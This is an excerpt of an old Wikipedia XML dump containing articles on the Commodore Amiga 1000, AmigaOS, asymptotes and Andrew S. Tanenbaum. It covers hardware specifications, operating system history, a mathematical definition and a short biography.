The '''A1000''', or  [[Commodore_International|Commodore]] [[Amiga]] 1000, was Commodore's initial Amiga [[multimedia]] [[home computer|home]]/[[personal computer]], released in the summer of [[1985]] at an original retail price of US$1,295 without a monitor. A 13-inch analog [[RGB]] monitor was available for around US$300. Before the follow-up [[A500]] and [[A2000]] models were released in 1987, the A1000 was usually just called the '''Amiga'''.

The A1000 had a number of characteristics that distinguished it from later Amigas: It was the only model to feature the short-lived Amiga &quot;checkmark&quot; logo on its case; the case was elevated slightly to give a storage area for the keyboard when not in use (a &quot;keyboard garage&quot;); and the inside of the case was engraved with the signatures of the Amiga designers, including [[Jay Miner]] and the paw print of his dog Mitchy.

Many A1000 owners remained attached to their machines long after newer models rendered the units technically obsolete, and it attracted numerous aftermarket upgrades. Many CPU upgrades that plugged into the [[Motorola 68000]] socket functioned in the A1000. Additionally, a line of products called the ''Rejuvinator'' series allowed the use of newer chipsets in the A1000, and an [[Australia|Australian]]-designed replacement A1000 motherboard called ''The Phoenix'' utilized the same chipset as the A3000 and added an A2000-compatible video slot and onboard [[SCSI]].

== Writable Control Store ==
Because [[AmigaOS]] was rather [[computer bug|buggy]] at the time of the A1000's release, the OS was not placed in ROM. Instead, the A1000 included a [[daughterboard]] with 256 KB of RAM, dubbed the &quot;Writable Control Store&quot; (WCS), into which the operating system was [[booting|booted]] from floppy disk (the disk containing the 256 KB image was called &quot;Kickstart&quot;). The WCS was write-protected after loading, and system resets did not require a reload of the WCS.

== Technical specifications ==
[[Image:JayMiner_Mitch.jpg|thumb|Jay Miner's signature from the top cover of a Commodore Amiga 1000 computer.  The paw print is that of Mitch, Miner's dog.]]

* CPU: [[Motorola 68000]] (7.16 MHz NTSC, 7.09 MHz PAL)
* Chipset: [[Original_Amiga_chipset|OCS]] (Original Chipset)
**Audio (Paula):
*** 4 voices / 2 channels (Stereo)
*** 8-bit resolution / 6-bit volume
*** 28 KHz sampling rate
*** 70 dB S/N Ratio
**Video (Common resolutions):
***320x200 with 16 colors or HAM-6
***320x400i with 16 colors
***640x200 with 16 colors or HAM-6
***640x400i with 16 colors
* Memory:
** 8 [[KiB]] ROM for [[bootstrap]] code.
** 256 [[kilobyte|KiB]] of [[Chip RAM]] by default, with an additional 256 KiB provided by a dedicated cartridge.
** Practical upper limit of about 9 [[megabyte|MiB]] of [[Chip_RAM|Fast RAM]] memory due to being limited to an 24-bit [[address bus]].
***This memory can not be utilized by the chipset, and is therefore faster.
* Removable Storage:
** 3.5&quot; DD Floppy drive, capacity 880 [[KiB]]
* Input/Output connections:
** Composite [[Television|TV]] out ([[PAL]] versions sold in Europe and Australia, [[NTSC]] elsewhere)
** Analogue RGB video plug
** RCA audio plugs
** 2 x Game/Joy ports ''(used by the mouse)''
** Keyboard port
** RS232 Serial port ([[DB25]])
** Centronics Parrallel port ([[DB25]])
** Port for external floppy drive
** One expansion port for add-ons (memory, [[SCSI]] adaptor, etc), electrically identical to the [[Amiga 500]] expansion port.
*** Resources handled by [[AutoConfig]].
*Software (Bundled):
** [[AmigaOS]] 1.0/1.1/1.2 operation system, loaded from the [[Kickstart]] [[floppy disk]] at power-on.
** Microsoft Amiga BASIC
** Voice synthesis library

== The two versions of the A1000 ==

There were two versions of the Amiga 1000. The first one was sold only in [[Canada]] and the [[United States]], had a [[NTSC]] display and lacked the EHB video mode which all other models of the Amiga had. Later versions of this version would have this video mode built in. The second one had a [[PAL]] display, the enhanced video modes (EHB) and was built in [[Germany]].

== External links ==
*[http://www.old-computers.com/museum/computer.asp?st=1&amp;c=28 The Commodore Amiga A1000 at OLD-COMPUTERS.COM]

{{CBM computers}}

[[Category:Commodore Amiga]]

[[de:Amiga 1000]]
[[es:Commodore Amiga 1000]]
[[fr:Amiga 1000]]
[[it:Amiga 1000]]
[[pl:Amiga 1000]]
[[fi:Amiga 1000]]
[[ru:Amiga 1000]]</text>
    </revision>
  </page>
  <page>
    <title>AmigaOS</title>
    <id>3105</id>
    <revision>
      <id>41387022</id>
      <timestamp>2006-02-27T00:19:05Z</timestamp>
      <contributor>
        <username>Gennaro Prota</username>
        <id>749040</id>
      </contributor>
      <comment>/* Overview */ fixed internal link to [[colon (punctuation)]]</comment>
      <text xml:space="preserve">'''AmigaOS''' is the default native [[operating system]] of the [[Amiga]] and [[AmigaOne]] personal computers.

==Overview==
The main [[modularity (programming)|modularization]] technique in AmigaOS is based on ''libraries'' (files with a &quot;&lt;code&gt;.library&lt;/code&gt;&quot; extension), which are collections of functions much like [[shared library|shared libraries]] in other operating systems, but don't make use of [[dynamic linking]] (this has advantages and disadvantages).

One standard AmigaOS library enjoys a special status: the ''exec.library'' is the only library in the system hooked to a fixed memory address (address 4), and it basically functions as the AmigaOS [[kernel (computer science)|kernel]].

[[Device driver]]s are files with a &quot;&lt;code&gt;.device&lt;/code&gt;&quot; extensions and are basically special libraries with somewhat standardized calls. The higher-level part of device and resource management, however, is deferred to ''handlers'', which are not libraries but [[Task (computers)|task]]s, and communicate by means of [[message passing]].

One important type of handler is a [[filesystem]] handler. The AmigaOS can make use of any filesystem for which a handler has been written, a possibility that has been exploited by programs like [[CrossDOS]] and by a few &quot;alternative&quot; filesystems to the standard [[Amiga Old File System|OFS]] and [[Amiga Fast File System|FFS]]. These filesystems allow one to add new features like [[journaling file system|journaling]] or [[file privilege]]s, which aren't found in the standard OS.

Handlers typically expose a ''device name'' to the [[disk operating system|DOS]], which can be used to access the peripheral (if any) associated with the handler. The ''SPEAK: handler'', offering one of several ways to access the AmigaOS speech synthesis system, is one example of a handler offering services not directly related to a peripheral.

Device names are [[case sensitivity|case insensitive]] (uppercase by convention) strings followed by a [[colon (punctuation)|colon]]. After the colon a ''specifier'' can be added, which gives the handler additional information about ''what'' is being accessed and ''how''. In the case of filesystem, the specifier usually consists of a [[path (computing)|path]] to a file in the filesystem; for other handlers, specifiers usually set characteristics of the desired input/ouput channel (for the ''SER:'' serial port driver, for example, the specifier will contain [[bitrate]], [[Asynchronous start-stop|start and stop bits]], etc).

Filesystems expose ''drive names'' as their device names. For example, ''DF0:'' by default refers to the first floppy drive in the system, while ''DH0:'' is the first hard drive.

Filesystems also expose ''volume names'', following the same syntax as device names: these identify the specific medium in the filesystem-managed drive. If ''DF0:'' contains a disk named &quot;Workbench&quot;, then ''Workbench:'' will be a volume name that can be used to access files in ''DF0:''.

If one wanted to access a file named &quot;Bar&quot; located in directory &quot;Foo&quot; of the disk with name &quot;Work&quot; in drive ''DF0:'', one could write
 DF0:Foo/Bar
or
 Work:Foo/Bar
However, these are not completely equivalent, since when the latter form is used, the system knows that the wanted volume '''is''' &quot;Work&quot; and not just any volume in ''DF0:'', and thus will say something to the effect of
 Please insert volume Work in any drive
whenever a requested file on &quot;Work&quot; is being accessed without volume &quot;Work&quot; being present in any drive.

[[Computer program|Program]]s often need to access files without knowing their physical location (either the drive or the volume): they only know the &quot;logical path&quot; of the file, i.e. whether the file is a library, a documentation file, a translation of the program's messages, etc.

This is solved in AmigaOS by the use of ''assigns''. An assign follows, again, the same syntax as a device name; however, it already points to a directory inside the filesystem. The place an assign points to can be changed at any time by the user. Standard assigns that are generally present in an AmigaOS system include
* ''SYS:'', which points to the boot drive's root directory; this is the only assign created automatically by the kickstart
* ''LIBS:'', pointing to a directory containing the system's libraries, usually SYS:Libs/
* ''DEVS:'', pointing to a directory containing the system's devices, usually SYS:Devs/
* ''C:'', pointing to a directory containing shell commands, usually SYS:C/

==The AmigaOS components==
Until 3.5 release AmigaOS always came divided in two parts, Kickstart and the Workbench.

Each Kickstart version is tied to a particular version of the Amiga's operating system software, so users should only boot Workbench 2.0 on a machine with a 2.0 Kickstart [[Read-only memory|ROM]]. It is possible to boot incorrect versions (Workbench 3.1 will boot on Kickstart 3.0, with some problems). The exception is Workbench 2.1, which works with Kickstart 2.04. Also, the latest Workbench versions, 3.5 and 3.9, use Kickstart 3.1 and load ROM updates at boot time.

===Kickstart===
[[image:Amiga kickstart.png|frame|right|The image shown by '''Amiga OS 1.x''' on startup, asking the user to insert the kickstart [[Floppy disk|disk]].]] 
'''Kickstart''' is the name given to the [[bootstrap]] [[Read-only memory|ROM]]. On the first [[Amiga]] model, the [[Amiga 1000|A1000]], this was loaded from disk, although eventually the Kickstart was embedded in a ROM chip inside the computer. The Amiga 1000 could be modified to take these chips, and subsequent Amiga models all used ROM chips.

As well as containing the code needed to boot the computer, the Kickstart also contained large portions of the Amiga's operating system&amp;mdash;the portions making up the '''Amiga ROM Kernel'''&lt;!--correct?--&gt;&amp;mdash;such as Intuition (the Amiga's graphical user interface libraries), Exec (its [[preemptive multitasking]] microkernel), and AmigaDOS (the disk handling libraries). The latter based on a [[TRIPOS]] port by [[MetaComCo]] written in [[BCPL]].

Later versions of the Kickstart contained drivers for [[Integrated Drive Electronics|IDE]] and [[SCSI]] controllers, [[PCMCIA]] ports and various other hardware that came with Amiga.

With third party [[Computer software|software]], it is possible to have a different Kickstart loaded in RAM and to use it instead of the ROM one - for example Kickstart 1.3 may be loaded in order to run old games incompatible with Kickstart 2.0 and higher. These programs are called ''Softkickers''. There are also hardware ''Kickstart switchers'' which allow you to have more than one set of Kickstart chips inside the computer, which are selectable either by a switch or a keyboard shortcut when you first turn the machine on. It is also possible to swap hardware ROM chips using minimal tools.

===Workbench===
Workbench is the native graphical [[operating system shell|shell]] for the [[Amiga]] computer. As the name suggests, the [[metaphor]] of a workbench, rather than a desktop, is used: directories are depicted as ''drawers'', executable files are depicted as ''tools'', data files are depicted as ''projects'' and GUI widgets are ''gadgets''. Most Amiga application software has [[pull-down menus]] starting &quot;Project Edit ...&quot; rather than the usual &quot;File Edit ...&quot; from other platforms. Strictly speaking, the term ''Workbench'' refers only to the main file-manager of AmigaOS, but it is commonly used in referring to all the parts of the OS not residing in the ROM.

The Workbench environment is not required for the machine to function, therefore a lot of old games can boot directly from Kickstart, without loading it. Most such games don't even let the OS finish the normal booting process; instead, they take over most of the OS itself, disable multitasking, and sometimes run without even ''using'' OS functions.

In many other aspects the interface resembles [[Mac OS]], with the main desktop having the drive icons, and a single menu bar at the very top of the screen. Unlike the contemporaneous Mac [[computer mouse|mouse]], the standard Amiga mouse has two buttons &amp;ndash; the right mouse button operates the pull-down menus, with a Macintosh-style &quot;release to select&quot; mechanism. Later, it was also possible to utilise a mouse with three buttons or a wheel.

A unique feature of Workbench is ''multiple screens''. These are conceptually similar to [[X Window System]] virtual desktops or workspaces, but are generated dynamically by application programs as necessary. Each screen can have a different resolution and colour depth. A gadget in the top-right corner of the screen allows screens to be cycled - as the OS stores all screens in memory simultaneously, redrawing is instantaneous. Screens can also be dragged up and down by their title bars, but this functionality is provided only by the custom chipsets specially designed for the platform, so it is no longer available on systems that run with a modern graphics card.

AmigaOS versions 2.0 and later also support ''public screen''. A public screen works technically like any other screen, but the program that opens it gives it a name within the OS, and other programs can then request the screen by its name, and open their own windows in it.

AmigaOS up to 3.1 doesn't offer any software layer to use additional graphic or audio solutions. Starting with AmigaOS 3.5, some of these solutions were bundled with the OS, allowing the use of common hardware cards other than the native chipsets, but don't include any driver solution of their own. Users are required to use third party software to supply hardware dependent drivers.

====Workbench icons====
The [[icon (computing)|icon]]s that Workbench uses to represent the files in a volume or a drawer are stored in special &lt;code&gt;.info&lt;/code&gt; files, with the name of the &lt;code&gt;.info&lt;/code&gt; file matching the name of the file it represents. For example, the icon for &lt;code&gt;NotePad&lt;/code&gt;, a [[text editor]], is found in the file &lt;code&gt;NotePad.info&lt;/code&gt;.

The &lt;code&gt;.info&lt;/code&gt; file includes the graphical representation of the icon and its position in the volume or drawer window. The icon also specifies the type of the file, as used by Workbench. Workbench recognises five different file types:
* Tool: An executable program.
* Project: A data file used by an executable program.
* Drawer: A directory containing files, and other drawers.
* Volume: A physical disk or a [[RAM disk]].
* Garbage: The Trashcan - a deleted file backup, which works in a similar way to the '[[Recycle bin]]' in [[Microsoft Windows]].

Project files can have a default tool assigned to them via the &lt;code&gt;.info&lt;/code&gt; file. Double-clicking on the project icon then starts the specified tool and loads the project into it. This is different from, for example, Microsoft Windows, where the filename extension of the file defines the tool to use.

Tool files can include &quot;tool types&quot; in the &lt;code&gt;.info&lt;/code&gt; file. These are used as configuration options for the program. Each tool type is a single line of text, which can optionally include parameters, written after an &lt;code&gt;=&lt;/code&gt; sign. Tool types can be commented out by writing them in [[bracket|parentheses]].

The colours used in the icon are normally only stored as indices to the Amiga Workbench screen's current palette. Because of this, the icons' colour scheme is inherently tied to the chosen hues in the screen's palette, and choosing non-standard colours can give the icons an ugly appearance. This problem was party solved by a third-party system called [[NewIcons]], which adds additional features to the standard &lt;code&gt;.info&lt;/code&gt; files. Unlike normal Workbench icons, NewIcons include actual [[RGB]] colour information, and the system tries its best to match the icons' colour hues to those in the screen palette.

=== Graphics ===
Common APIs are:

2D
*[[CyberGraphX]]
*Picasso 96
*EGS (obsolete)
3D
*[[MiniGL]]
*Warp3D (low-level API)
*Storm[[Mesa 3D|Mesa]] (agl.library)
*CyberGL (requires [[CGX]])

===Audio===
* AHI for audio support, widely supported freeware driver system.
* camd.library for MIDI

===Video===
Third party API:
#VHI, by IOSPIRIT GmbH
#tv.library, by Elbox Computer
#tvcard.library, by Guido Mersmann

===ARexx===
:''Main article: [[ARexx]]''
The Amiga OS had support for the Rexx language. It was called ARexx (short for &quot;Amiga Rexx&quot;) and was a script language which allowed for full OS scripting, similar to BASH on Linux, intra-application scripting, similar to VBA in Microsoft Office, as well as inter-program communication.  Having a single scripting language for any application on the operating system was beneficial to users, instead of having to learn a new language for each application.

Programs could listen on an &quot;ARexx port&quot; for string messages. These messages could then be interpreted by the program in a similar fashion to a user pushing buttons. For example, an ARexx script when run in an email program, could save the currently displayed email and invoke an external program which could extract and process information and then invoke a viewer program. This allowed applications to control other applications, send data back and forth directly with memory handles, instead of saving files to disk then reloading.

===Ram Disk===
The Amiga OS has the only dynamically sized RAM disk, which would resize itself automatically to its contents.  Operating System configuration files were loaded into the RAM disk on boot, greatly speeding operating system usage.  Other files could be copied to the RAM disk like any standard device for quick modification and retrieval.

The Amiga OS also had support for a fixed-capacity recoverable RAM disk, which functioned as a standard RAM disk, but could maintain its contents on restart.

==AmigaOS versions==
===Kickstart/Workbench 1.0, 1.1, 1.2, 1.3===
[[Image:Amiga Workbench 1 3 large.png|thumb|200px|Workbench 1.3]]
The 1.''x'' versions are the original implementation of AmigaOS. They defaulted to a distinctive blue and orange colour scheme which was designed to give high contrast on even the worst of television screens (it could easily be changed by the user). Versions 1.1 consisted mostly of bug fixes. Versions 1.0 and 1.1 were distributed only on floppy disks for the Amiga 1000.

Version 1.2 was the first to have Kickstart on a [[Read-only memory|ROM]] and Workbench on one or two [[Floppy disks#The Commodore Amiga|floppy disks]]. Workbench was then booted from floppy disk or installed on a hard disk on later machines. The early Kickstarts were still available on floppies for Amiga 1000 owners. These versions were shipped in ROM with the [[A500]], [[A1500]], [[CDTV]] (1.3 only) and [[A2000]]. Version 1.2 of Kickstart fixed many bugs, greatly improving the stability of the system, and added [[AutoConfig]] support which could automatically configure expansion boards. Release 1.3 had few changes to Kickstart (mainly to enable autobooting hard disks) but had many improvements in Workbench, including a much faster file system for hard disks, an improved CLI, and various extra programs.

====AmigaBASIC and ABasiC====
:''Main article: [[AmigaBASIC]]''
Version 1.1 shipped with AmigaBASIC, a [[BASIC programming language|BASIC]] implementation designed by [[Microsoft]] (this was the only software ever written by Microsoft for the Amiga).

AmigaBASIC was discontinued with the launch of Kickstart/Workbench 2.x.

Version 1.0 shipped instead with a different BASIC language, called [[ABasiC]]. Where AmigaBASIC was oriented around creating graphical user interfaces, ABasiC was more similar to the BASIC interpreters shipped with older 8-bit systems, and was geared towards text based applications.

===Kickstart/Workbench 1.4===
Kickstart/Workbench 1.4 was a [[Software testing#Beta testing|beta]] version of the upcoming 2.0 update and never released, but the Kickstart part was shipped in very small quantities with early [[A3000|Amiga 3000]] computers, where it is often referred to as the &quot;[[Superkickstart]] ROM&quot;. In these machines it is only used to bootstrap the machine and load the Kickstart that will be used to actually boot the system. The appearance is similar to that of 2.0 and higher, with just minor differences. It is, however, possible to dump out of the OS selection screen by clicking where one would expect to see a close gadget. This will cause the machine to boot Kickstart 1.4 using either the wb_2.x: partition, or from a floppy.

===Kickstart/Workbench 2.0, 2.05, 2.1===
[[Image:Amiga Workbench 2.gif|right|Workbench 2]]
Kickstart/Workbench 2.0 introduced a lot of major advances to the Amiga operating system. Gone was the harsh blue and orange colourscheme, replaced with a much easier on the eye grey and light blue. The Workbench was no longer tied to the 640×256 (PAL) or 640×200 (NTSC) display modes, and much of the system was improved with an eye to making future expansion easier. For the first time, a standardised &quot;look and feel&quot; was added. This was done by creating the Amiga Style Guide, and including libraries and software which assisted developers in making conformant software. Technologies included the GUI element creation library ''gadtools'', the software installation scripting language ''Installer'', and the ''AmigaGuide'' hypertext help system.

Workbench 2.04 introduced ARexx, a system-wide scripting language. Programmers could add so-called &quot;ARexx ports&quot; to their programs, which allowed them to be controlled from ARexx scripts. Using ARexx, you could make two completely different programs from different vendors work together seamlessly. For example, you could batch-convert a directory of files to thumbnail images with an ARexx capable image manipulation program, create and index HTML table of the thumbnails linking to the original images, and display it in a web browser, all from one script. ARexx became very popular, and was widely adopted by programmers.

The AmigaDOS, previously written in [[BCPL]] and very difficult to develop for beyond basic file manipulation, was mostly rewritten in [[C programming language|C]].

Unfortunately, some badly written software &amp;ndash; especially games &amp;ndash; failed to run with 2.x, and so a lot of people were upset with this update. Most often, the failure occurred because programmers had used directly manipulated private structures maintained by the operating system, rather than using official function calls.

2.x shipped with the A500+ (2.04), A600 (2.05), A3000 and A3000T. Workbench 2.1 was the last in this series, and only released as a software update. It included useful features such as [[CrossDOS]], to support working with floppy disks formatted for [[IBM PC compatible|PC]]s. Since 2.1 was a software-only release, there was no Kickstart 2.1 ROM.

2.x also introduced PCMCIA card support, for the slot on the A600.

===Kickstart/Workbench 3.0, 3.1===
[[Image:Amiga Workbench 3.gif|thumb|Amiga Workbench 3]]
3.x was another major update. Updates included:

* A universal data system, known as datatypes, that allowed programs to load pictures, sound and text in formats they didn't understand directly, through the use of standard plugs (''see'' [[object-oriented operating system]])
* A system-standard localization system, allowing the user to make an ordered list of ''preferred languages''; when a locale-aware application runs, it asks the operating system to find the ''catalog'' (a file containing translations of the application's string) best matching the user's preferences
* Colour remapping for low-colour display modes
* Improved visual appearance
* Better support for background images

3.x shipped with the [[Amiga CD32|CD32]], [[A1200]], [[A4000]] and A4000T.

===AmigaOS 3.5, 3.9===
[[Image:AmigaOS 3 9 Workbench.jpg|thumb|Workbench 3.9]]
After the demise of Commodore, the later owners of the Amiga trademark granted a license to a [[Germany|German]] company called [[Haage &amp; Partner]] to update the Amiga's operating system. Along with this update came a change in the way people referred to the Amiga's operating system. Rather than specifying &quot;Kickstart&quot; or &quot;Workbench&quot;, the updates were most often referred to as simply &quot;AmigaOS&quot;.

Updates included:
* CD filesystem support as standard
* Distribution on CD instead of floppy disk
* Supplied with [[Internet protocol suite|TCP/IP]] stack, web browser, and e-mail client
* Improved GUI, called &quot;ReAction&quot;
* AVI/MPEG movie player (OS3.9)
* Support for hard disks larger than 4Gb (a limitation from 1.x)
* HTML documentation
* MP3 and CD audio player (OS3.9)
* Dock program (OS3.9)
* Improved Workbench
* Find utility (OS3.9)
* ASync workbench (no more waiting for files to be copied)

===AmigaOS 4===
A new version of AmigaOS is being developed by [http://www.hyperion-entertainment.biz Hyperion Entertainment] under license from [http://www.amiga.com Amiga, Inc]. The 4.0 version will be a major update a decade after the last official release.

The new version will be [[PowerPC]] native, finally abandoning the [[Motorola]] [[68k]] [[central processing unit|processor]].  Since there is no more [[68000]] based Amiga hardware, AmigaOS 4.0 will run on [[PowerPC]] hardware, which currently only includes [[A1200|1200]] and [[A4000|4000]] with PowerPC accelerator boards and [[AmigaOne]] motherboards. Amiga, Inc.'s distribution policies for AmigaOS 4.0 and any later versions requires that for third party hardware the OS must be bundled with it, with the sole exception of Amigas with Phase 5 PowerPC accelerator boards, for which the OS will be sold separately. 

As of February 2005, there were two license holders. The first being the company that was consulted by Amiga, Inc. to create this distribution model, [http://www.eyetech.co.uk Eyetech], who currently offer [http://www.mai.com/ Mai Logic]'s [http://www.mai.com/products/Mainboard.htm Teron series motherboards] under the licensed label &quot;AmigaOne&quot;, and the second being ACK Software Controls, who are creating PowerPC motherboards that can be connected to the Amiga 1200 for improved backward compatibility. 

A developer pre-release version was sent to purchasers of AmigaOne hardware in June of 2004, and currently ships with new AmigaOne boards. This does not have all of the features planned for the full release version, but includes a full [[SDK]] based on [[GNU Compiler Collection|GCC]], and VBCC C/C++ compilers.

Main features planned for AmigaOS 4.0:
* Tripos legacy code finally removed
* Improved TCP/IP networking
* Fully skinnable GUI
* Virtual memory
* Limited memory protection
* CD/DVD writer support, including [[Mount Rainier (packet writing)|Mt. Rainier]]
* Integrated debugger
* Integrated viewer for PDF and other document formats
* Enhanced shared library model
* Support for PowerPC (native) and 68k (emulated JIT) applications
* Improved input device support
* Support for modern hardware devices
* New USB stack
* New PCI stack
* New interface module (replaces the jump table of classic AmigaOS)
* Stack enlargement
* Resource tracking
* Faster memory allocation system, similar to what’s used on Solaris 
* 2 GB file limit removed 
* New version of AmiDock with plug in support
* New CDFilesystem with Joliet and HFS support, DVDRW support
* HDToolbox replacement
* New HD Recovery tool
* Added support for Truetype and Postscript fonts, with optional anti-aliasing 

[[Image:AmigaOS.png|thumb]]

==AmigaOS influence on other Operating Systems==
AmigaOS has spawned at least two &quot;clone&quot; operating systems over time.

[[AROS]], or ''Amiga Research Operating System'' is an attempt to clone the AmigaOS API in a portable open-source operating system. Although not binary compatible with AmigaOS (unless running on 68k), it is reported to be highly sourcecode compatible.

[[MorphOS]] is a PowerPC native operating system, originally created when the future of the Amiga looked uncertain. It provides binary compatibility with system-friendly AmigaOS applications.

Although not strictly Amiga related, a recent fork of [[FreeBSD]]-4.8 called [[DragonFly BSD]] has been created by a former FreeBSD developer and Amiga programmer Matt Dillon. DragonFly BSD (although still a work in progress) aims to make the BSD core more like the Amiga architectually, featuring a message-passing kernel, allowing for a very efficient and virtually [[Mutual exclusion|mutex]]-free SMP design.

==Trivia==
Some versions of AmigaOS included [[copyright]] messages as [[Easter eggs (virtual)|Easter eggs]] that required some trickery to access.
* In version 1.x, by holding down both Shift keys and both Alt keys and pressing the function keys F1 through F10, you could see copyright messages in the title bar. As an example, pressing F10 resulted in the message &quot;Moral support: [[Joe Pillow and the Dancing Fools]]&quot;.
* In versions 2.x and 3.0, the secret message was accessed by repeatedly selecting the &quot;About...&quot; option from the Workbench menu, and leaving the resulting [[dialog box]] open. When there were enough (approximately 20) dialog boxes open at the same time, the next one had a secret message instead of the normal one. In version 3.1 the secret message was openly integrated into the &quot;About...&quot; dialog box.

==See also==
*[[AROS]]
*[[Comparison of operating systems]]

==External links==
*[http://os4.hyperion-entertainment.biz Official AmigaOS 4 homepage]
*[http://os.amiga.com AmigaOS homepage]
*[http://os.amigaworld.de/index.php?lang=en AmigaOS Support homepage]
*[http://www.gregdonner.org/workbench The Workbench Nostalgia Page] - Very detailed information on all known versions of AmigaOS.
*[http://www.amigahistory.co.uk Amiga History Guide]

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  <page>
    <title>Apple Airport</title>
    <id>3106</id>
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      <id>15901471</id>
      <timestamp>2005-01-31T11:13:12Z</timestamp>
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        <username>Austin Hair</username>
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      <text xml:space="preserve">#REDIRECT [[AirPort]]</text>
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  <page>
    <title>Asymptote</title>
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      <id>40790249</id>
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      <text xml:space="preserve">{{otheruses}}
An '''asymptote''' is a straight or curved [[line (mathematics)|line]] which a curve will approach arbitrarily closely.

[[image:1-over-x.png|thumb|320px|In the graph of 1/x, the x and y axes are the asymptotes.]]
A specific example of asymptotes can be found in the [[graph of a function|graph]] of the [[function (mathematics)|function]] ''f''(''x'') = 1/''x'', in which two asymptotes are being approached: the line ''y'' = 0 and the line ''x'' = 0.  A curve approaching a [[vertical]] asymptote (such as the preceding example's ''x'' = 0, which has an undefined [[slope]]) could be said to approach an &quot;[[limit (mathematics)|infinite limit]],&quot; while a curve approaching a [[horizontal]] line (such as the previous example's ''y'' = 0) could be said to approach a [[limit (mathematics)|limit]] at infinity.

[[image:1-over-x-plus-x.png|thumb|320px|In the graph of (1/x)+x, the y-axis and the line x=y are both asymptotes.]]

Asymptotes need not be parallel to the ''x''- or ''y''-axis, as shown by the graph of ''x''&amp;nbsp;+&amp;nbsp;''x''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;, which is asymptotic to both the ''y''-axis and the line ''y''&amp;nbsp;=&amp;nbsp;''x''.  When an asymptote is not parallel to the ''x''- or ''y''-axis, it is called an oblique asymptote.

Asymptotes, especially vertical asymptotes, also not need to go to infinity when approached at both sides.  Asymptote x=a is a vertical asymptote for f(x) if it just satisfies ''at least one'' of the following conditions:

# &lt;math&gt;\lim_{x \to a-} f(x)=\infty&lt;/math&gt;
# &lt;math&gt;\lim_{x \to a+} f(x)=\infty&lt;/math&gt;
# &lt;math&gt;\lim_{x \to a-} f(x)=-\infty&lt;/math&gt;
#&lt;math&gt;\lim_{x \to a+} f(x)=-\infty&lt;/math&gt;

Note that ''f''(''x'') need not be undefined at ''a''. For example, consider the function

:&lt;math&gt;f(x) = \begin{cases} 1/x &amp; x \neq 0 \\ 5 &amp; x = 0 \end{cases}&lt;/math&gt;

As both &lt;math&gt;\lim_{x \to 0+} f(x) = \infty&lt;/math&gt; and &lt;math&gt;\lim_{x \to 0-} f(x) = -\infty&lt;/math&gt;, ''f''(''x'') has a vertical asymptote at 0, even though &lt;math&gt;f(0) = 5&lt;/math&gt;.

A function ''f''(''x'') can be said to be '''asymptotic''' to a function ''g''(''x'') as ''x''&amp;nbsp;&amp;rarr;&amp;nbsp;&amp;infin;. This has any of four distinct meanings:

# ''f''(''x'')&amp;nbsp;&amp;minus;&amp;nbsp;''g''(''x'') &amp;rarr; 0.
# ''f''(''x'') / ''g''(''x'') &amp;rarr; 1.
# ''f''(''x'') / ''g''(''x'') has a nonzero limit.
# ''f''(''x'') / ''g''(''x'') is bounded and does not approach zero. See [[Big O notation]].

:''See also [[asymptotic analysis]], but contrast with [[asymptotic curve]]''.

[[Category:Mathematical analysis]]

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    <title>Andrew Tanenbaum</title>
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  <page>
    <title>Andrew S. Tanenbaum</title>
    <id>3110</id>
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      <text xml:space="preserve">Dr. '''Andrew Stuart &quot;Andy&quot; Tanenbaum''' (born 1944) is a [[professor]] of [[Computer Science]] at [[Vrije Universiteit]], [[Amsterdam]] in the [[Netherlands]]. He is best known as the author of [[Minix]], a free [[Unix-like]] [[operating system]] for teaching purposes, and for his [[computer science]] textbooks. He regards his teaching job as his most important work.{{ref|teach}}[[Image:AndrewTanenbaum.jpg|frame|right|Andrew S. Tanenbaum]]

He was born in [[New York City]] and raised in [[White Plains, New York|White Plains, NY]].  He received his [[bachelor's degree]] in [[Physics]] from [[Massachusetts Institute of Technology|MIT]].   He received his [[doctorate]] from [[UC Berkeley]] in 1971.  He and his wife moved to the Netherlands (her homeland), but he retains his United States citizenship.  [[As of 2004]] he teaches courses about Computer Organization and Operating Systems, and supervises the work of [[Doctor of Philosophy|Ph.D.]] candidates.

He is well recognized for his textbooks on computer science, which are famous as standard texts in the field, particularly:
* ''Computer Networks,'' ISBN 0130661023
* ''Operating Systems: Design and Implementation,'' ISBN 0136386776
* ''Modern Operating Systems,'' ISBN 0130313580

He also wrote:
* ''Structured Computer Organization,'' ISBN 0131485210
* ''Distributed Systems: Principles and Paradigms,'' ISBN 0130888931

''Operating Systems: Design and Implementation'' and Minix were [[Linus Torvalds]]' inspiration for the [[Linux]] kernel. In his autobiography ''[[Just For Fun]]'', Torvalds describes it as &quot;the book that launched me to new heights&quot;. Tanenbaum started a famous, inflammatory [[Usenet]] discussion with Torvalds [http://groups.google.com/group/comp.os.minix/browse_thread/thread/c25870d7a41696d2/3f6b594a5b4eccb4] about the [[microkernel]], but Linus and Andrew appear to be on good speaking terms; Linus wants it understood that he holds no animosity towards Tanenbaum. Tanenbaum went on to write the [[Amoeba distributed operating system]], making full use of the microkernel idea.

In 2004 Tanenbaum created [[electoral-vote.com]], a popular web site analyzing [[opinion polls]] for the [[2004 U.S. Presidential Election]], using them to project the outcome in the [[U.S. Electoral College|Electoral College]]. The site also provided an electoral map. Surprising results on this map (such as, for example, a short period when Hawaii, traditionally Democratic, was listed as &quot;Barely Bush&quot;) would often surface in popular discussion. Through most of the campaign period he kept his identity secret, referring to himself as &quot;the Votemaster&quot; and acknowledging only that he personally preferred [[John Kerry|Kerry]].  Tanenbaum, a [[United States Democratic Party|Democrat]], revealed his identity on [[November 1]], [[2004]], the day prior to the election, also stating his reasons and qualifications for running the website [http://www.electoral-vote.com/2004/info/votemaster-faq.html]. 

==Bibliography==
* [http://www.prenhall.com/tanenbaum/ Books written by Andrew S Tanenbaum] published by [[Prentice Hall]]
* [http://www.informatik.uni-trier.de/~ley/db/indices/a-tree/t/Tanenbaum:Andrew_S=.html Academic publications by Andrew S Tanenbaum] from [[DBLP]]

{{wikiquote}}

== External links and references ==
* [http://www.cs.vu.nl/~ast/ Professor Andrew S Tanenbaum] at the [http://www.cs.vu.nl/cs/index-en.html Dept. of Computer Systems at VU]
* [http://groups.google.com/groups?threadm=12595%40star.cs.vu.nl The Usenet discussion with Torvalds at Google Groups]
**{{note|teach}} [http://www.cs.vu.nl/~ast/brown/followup/ 2004 article] about Linux, the Usenet debate, and the [[Alexis de Tocqueville Institution]]
**[http://www.dina.dk/~abraham/Linus_vs_Tanenbaum.html Linus vs. Tanenbaum at Usenet (all posts together)]

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      <contributor>
        <ip>153.5.46.72</ip>
      </contributor>
      <comment>new launch date</comment>
